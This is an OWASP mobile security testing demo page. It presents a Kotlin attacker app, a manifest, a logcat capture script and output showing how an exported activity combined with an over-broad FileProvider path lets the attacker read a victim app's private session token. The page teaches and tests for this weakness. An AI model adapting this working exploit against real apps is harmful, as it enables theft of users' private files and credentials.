Skip to content

MASTG-DEMO-0123: Exfiltration of Private Files via FileProvider URI Grant Oversharing

Download MASTG-DEMO-0123 APK Open MASTG-DEMO-0123 Folder Build MASTG-DEMO-0123 APK

Sample

This demo uses the same victim app as Oversharing via FileProvider with Unrestricted Path Configuration. The victim's ShareReportActivity is an exported activity that accepts a caller-supplied file_name parameter, calls FileProvider.getUriForFile() with the requested filename, and returns the resulting content:// URI to the caller via FLAG_GRANT_READ_URI_PERMISSION.

Because file_paths.xml declares path=".", the FileProvider will accept any file under filesDir — not just the intended reports/ subdirectory. The attacker app below (org.owasp.mastestapp.attacker.provider) exploits this by passing session_token.txt as the file_name parameter and reading the returned URI content.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package org.owasp.mastestapp

import android.app.AlertDialog
import android.content.Context
import android.content.Intent
import android.os.Bundle
import android.util.Log
import androidx.activity.ComponentActivity
import androidx.activity.result.contract.ActivityResultContracts

// SUMMARY: Attacker app that exploits the FileProvider oversharing vulnerability demonstrated in MASTG-DEMO-0122.
// The victim's ShareReportActivity is exported and accepts a caller-supplied file_name extra. Because the
// victim's filepaths.xml declares path=".", FileProvider.getUriForFile() will accept any file under filesDir —
// not just the intended reports/ subdirectory. This app requests session_token.txt and reads it via the
// URI grant returned by ShareReportActivity. The exfiltrated content is shown in a dialog and logged to logcat.
// FAIL: [MASTG-TEST-0357] ShareReportActivity returns a URI for session_token.txt — a file outside the
// intended reports/ directory — without validating the requested filename.

class MastgTest(private val context: Context) {

    companion object {
        const val TAG = "EXFIL"
    }

    fun mastgTest(): String {
        // Start AttackerActivity which holds the ActivityResultLauncher and drives the full attack.
        // The exfiltrated content is displayed in a dialog inside AttackerActivity and logged under EXFIL.
        context.startActivity(
            Intent(context, AttackerActivity::class.java)
                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
        )
        return "Attack launched against org.owasp.mastestapp.\n\n" +
            "The exfiltrated session token will appear in a dialog and in logcat:\n\n" +
            "adb logcat -s $TAG"
    }
}

// AttackerActivity holds the ActivityResultLauncher (which must be registered before onCreate
// per Jetpack lifecycle rules) and drives the full attack when started by mastgTest().
class AttackerActivity : ComponentActivity() {

    private val launcher = registerForActivityResult(
        ActivityResultContracts.StartActivityForResult()
    ) { result ->
        val uri = result.data?.data ?: run {
            Log.e(MastgTest.TAG, "No URI returned — resultCode=${result.resultCode}")
            finish()
            return@registerForActivityResult
        }
        // FLAG_GRANT_READ_URI_PERMISSION was set by ShareReportActivity on the result intent,
        // so ContentResolver can open the stream despite the FileProvider not being directly exported.
        val content = contentResolver.openInputStream(uri)
            ?.bufferedReader()
            ?.use { it.readText() }
            ?: "<empty>"

        Log.e(MastgTest.TAG, "Exfiltrated from victim: $content")

        // Show the exfiltrated content in the UI so the result is visible without needing logcat.
        AlertDialog.Builder(this)
            .setTitle("Exfiltrated Data")
            .setMessage("File: session_token.txt\n\nContent:\n$content")
            .setPositiveButton("OK") { _, _ -> finish() }
            .setOnCancelListener { finish() }
            .show()
    }

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        // Send a crafted intent to the victim's exported ShareReportActivity.
        // We request session_token.txt — a file outside the intended reports/ subdirectory
        // but reachable because filepaths.xml declares path="." for the files-path element.
        val intent = Intent().apply {
            setClassName(
                "org.owasp.mastestapp",
                "org.owasp.mastestapp.MastgTest\$ShareReportActivity"
            )
            putExtra("file_name", "session_token.txt")
        }
        launcher.launch(intent)
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools">

    <application
        android:allowBackup="true"
        android:dataExtractionRules="@xml/data_extraction_rules"
        android:fullBackupContent="@xml/backup_rules"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.MASTestApp"
        tools:targetApi="31">
        <activity
            android:name=".MainActivity"
            android:exported="true"
            android:windowSoftInputMode="adjustResize"
            android:theme="@style/Theme.MASTestApp">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <activity
            android:name=".AttackerActivity"
            android:exported="false" />

    </application>

</manifest>

Steps

  1. Install the victim app ( Oversharing via FileProvider with Unrestricted Path Configuration) using Installing Apps and tap Start to populate filesDir.
  2. Build and install the attacker APK (MastgTest.kt, AndroidManifest.xml) using Installing Apps.
  3. Tap Start in the attacker app to launch the attack.
  4. Run run.sh to capture the exfiltrated content from logcat.
run.sh
1
2
3
#!/bin/bash
# Dump the log buffer filtered to the EXFIL tag.
adb logcat -d -s EXFIL > output.txt

Observation

The attacker app displays a dialog showing the exfiltrated content. The same value is captured in logcat by run.sh.

output.txt
1
2
--------- beginning of main
06-05 08:17:34.993 12771 12771 E EXFIL   : Exfiltrated from victim: sess_7f3a9b1e4d2c8f0a5e6b3c1d9f4a2e7b

Evaluation

The test case fails because the attacker app successfully reads session_token.txt from the victim app's private storage via a URI grant from ShareReportActivity.

The token sess_7f3a9b1e4d2c8f0a5e6b3c1d9f4a2e7b visible in the logcat output was written by the victim app to filesDir/session_token.txt. The FileProvider.getUriForFile() call in ShareReportActivity accepts this path because file_paths.xml uses path=".", making the entire filesDir accessible — not just the intended reports/ subdirectory.

This confirms the security relevance required by the "Further Validation Required" section in References to Oversharing of File-Based Content Providers. FileProvider.getUriForFile() is called with an attacker-controlled file_name parameter, derived directly from the intent extras, and the app performs no validation before granting the resulting URI to the caller.